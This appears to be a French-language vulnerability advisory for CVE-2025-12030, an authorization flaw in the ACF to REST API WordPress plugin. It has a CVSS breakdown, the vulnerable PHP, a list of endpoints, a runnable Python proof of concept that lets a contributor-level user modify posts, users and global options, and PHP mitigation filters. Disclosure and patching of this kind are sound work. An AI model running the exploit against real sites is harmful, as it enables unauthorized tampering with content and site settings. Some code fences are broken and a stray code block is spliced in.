| Métrique | Valeur |
|--------|-------|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Aucune (A:N) |

**Détail CVSS v3.1 :**

- **Vecteur d'attaque (AV) :** Réseau – La vulnérabilité peut être exploitée à distance sur un réseau
- **Complexité de l'attaque (AC) :** Faible – Aucune condition spéciale n'est requise pour l'exploitation
- **Privilèges requis (PR) :** Faible – Nécessite une authentification de niveau Contributeur
- **Interaction utilisateur (UI) :** Aucune – L'exploitation fonctionne sans aucune interaction utilisateur
- **Périmètre (S) :** Inchangé – La vulnérabilité n'affecte que le composant vulnérable
- **Impact sur la confidentialité (C) :** Aucun – Aucune divulgation d'informations
- **Impact sur l'intégrité (I) :** Faible – Modification non autorisée des champs ACF
- **Impact sur la disponibilité (A) :** Aucun – Aucun impact sur la disponibilité

## Détails techniques

### Cause racine de la vulnérabilité

La vulnérabilité réside dans la méthode `update_item_permissions_check()` qui effectue une autorisation insuffisante :```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

### Points de terminaison vulnérables

| Point de terminaison | Cible | Capacité requise (devrait être) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Articles | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pages | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Utilisateurs | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Commentaires | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termes | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Options | `manage_options` |

### Vecteur d'attaque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

<?php
add_filter( 'rest_endpoints', function( $endpoints ) {
    if ( isset( $endpoints['/acf/v3/posts'] ) ) {
        unset( $endpoints['/acf/v3/posts'] );
    }
    if ( isset( $endpoints['/acf/v3/posts/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/acf/v3/posts/(?P<id>[\d]+)'] );
    }
    if ( isset( $endpoints['/acf/v3/users'] ) ) {
        unset( $endpoints['/acf/v3/users'] );
    }
    if ( isset( $endpoints['/acf/v3/users/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/acf/v3/users/(?P<id>[\d]+)'] );
    }
    if ( isset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)'] ) ) {
        unset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)'] );
    }
    if ( isset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)/(?P<id>[\d]+)'] );
    }
    if ( isset( $endpoints['/acf/v3/options'] ) ) {
        unset( $endpoints['/acf/v3/options'] );
    }
    if ( isset( $endpoints['/acf/v3/options/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/acf/v3/options/(?P<id>[\d]+)'] );
    }
    if ( isset( $endpoints['/acf/v3/comments'] ) ) {
        unset( $endpoints['/acf/v3/comments'] );
    }
    if ( isset( $endpoints['/acf/v3/comments/(?P<id>[\d]+)'] ) ) {
        unset( $endpoints['/acf/v3/comments/(?P<id>[\d]+)'] );
    }
    return $endpoints;
} );
?>
``````php
<?php
/**
 * Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
 */
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
    // Only allow administrators to modify via REST API
    if (!current_user_can('manage_options')) {
        return new WP_Error(
            'rest_forbidden',
            __('You do not have permission to modify ACF fields via REST API.'),
            array('status' => 403)
        );
    }
    return $permission;
}, 10, 3);